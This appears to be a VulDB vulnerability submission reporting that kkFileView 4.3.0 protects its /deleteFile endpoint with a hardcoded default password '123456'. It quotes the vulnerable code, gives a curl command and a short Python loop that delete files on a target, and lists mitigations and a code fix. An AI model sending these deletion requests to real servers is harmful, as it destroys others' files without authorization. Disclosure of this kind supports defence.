Submit #665593: kkFileView 4.3.0 Weak Password Requirements

**Title**: kkFileView 4.3.0 - Weak Authentication in File Deletion Function Leading to Arbitrary File Deletion

**Product**: kkFileView
**Version**: 4.3.0

---

### Vulnerability Details

#### Description
kkFileView version 4.3.0 contains a weak authentication mechanism in the file deletion functionality. The application uses a hardcoded default password "123456" for file deletion operations, which can be easily guessed or brute-forced by attackers. This vulnerability allows unauthenticated remote attackers to delete arbitrary files within the application's file storage directory without proper authorization.

#### Technical Details
The vulnerability exists in the `/deleteFile` endpoint of the FileController class:

**Vulnerable Code Location**: `server/src/main/java/cn/keking/web/controller/FileController.java`
```java
@GetMapping("/deleteFile")
public ReturnResponse<Object> deleteFile(String fileName,String password) {
// ... validation ...
if(!ConfigConstants.getPassword().equalsIgnoreCase(password)) {
logger.error("删除文件【{}】失败，密码错误！",fileName);
return ReturnResponse.failure("删除文件失败，密码错误！");
}
// ... file deletion logic ...
}
```

**Default Password Configuration**: `server/src/main/config/application.properties`
```properties
#删除密码
delete.password = ${KK_DELETE_PASSWORD:123456}
```

**Password Constant**: `server/src/main/java/cn/keking/config/ConfigConstants.java`
```java
public static final String DEFAULT_PASSWORD = "123456";
```

#### Attack Vectors
1. **Direct HTTP Request**:
```bash
curl "http://target:8012/deleteFile?fileName=ZGVtby90ZXN0LnBkZg==&password=123456"
```

2. **Automated Attack Script**:
```python
import requests
import base64

target = "http://target:8012"
files = ["demo/test.pdf", "demo/document.docx"]

for file in files:
encoded = base64.b64encode(file.encode()).decode()
requests.get(f"{target}/deleteFile?fileName={encoded}&password=123456")
```

#### Impact
- **Confidentiality**: No direct impact
- **Integrity**: High - Attackers can delete uploaded files
- **Availability**: Medium - Can disrupt file preview services
- **Authentication**: Complete bypass of deletion authorization

#### Affected Components
- File deletion endpoint: `/deleteFile`
- Default configuration files
- Password validation logic

---

### Proof of Concept

#### Step-by-Step Reproduction
1. Deploy kkFileView 4.3.0 with default configuration
2. Upload a test file using `/fileUpload` endpoint
3. Obtain file list using `/listFiles` endpoint
4. Delete any file using default password "123456":
```bash
curl "http://localhost:8012/deleteFile?fileName=ZGVtby90ZXN0LnBkZg==&password=123456"
```

#### Expected Result
File deletion should require proper authentication.

#### Actual Result
Files can be deleted using the weak default password.

---

### Solution

#### Immediate Mitigation
1. Change the default password in `application.properties`:
```properties
delete.password = strong_unique_password_here
```

2. Disable file deletion if not required:
```properties
file.upload.disable = true
```

#### Recommended Fix
1. Implement proper user authentication system
2. Use strong password policies
3. Add rate limiting to prevent brute-force attacks
4. Implement audit logging for deletion operations
5. Use cryptographically secure tokens instead of passwords

#### Code Fix Example
```java
// Replace weak password check with proper authentication
@GetMapping("/deleteFile")
public ReturnResponse<Object> deleteFile(String fileName, HttpServletRequest request) {
if (!isAuthenticated(request)) {
return ReturnResponse.failure("Authentication required");
}
if (!hasDeletePermission(request)) {
return ReturnResponse.failure("Insufficient permissions");
}
// ... proceed with deletion ...
}
```

• Source: ⚠️ https://github.com/rassec2/kkfile/edit/main/4.3kkfile.md
• User: yudeshui (UID 91129)
• Submission: 09/30/2025 09:24 (7 months ago)
• Moderation: 10/19/2025 04:53 (19 days later)
• Status: Duplicate
• VulDB entry: 207741 [kkFileView 4.0.0 FileController.java fileName denial of service]
• Reason: Product not identifiable. Please reply with name and website of the affected product.
• Points: 0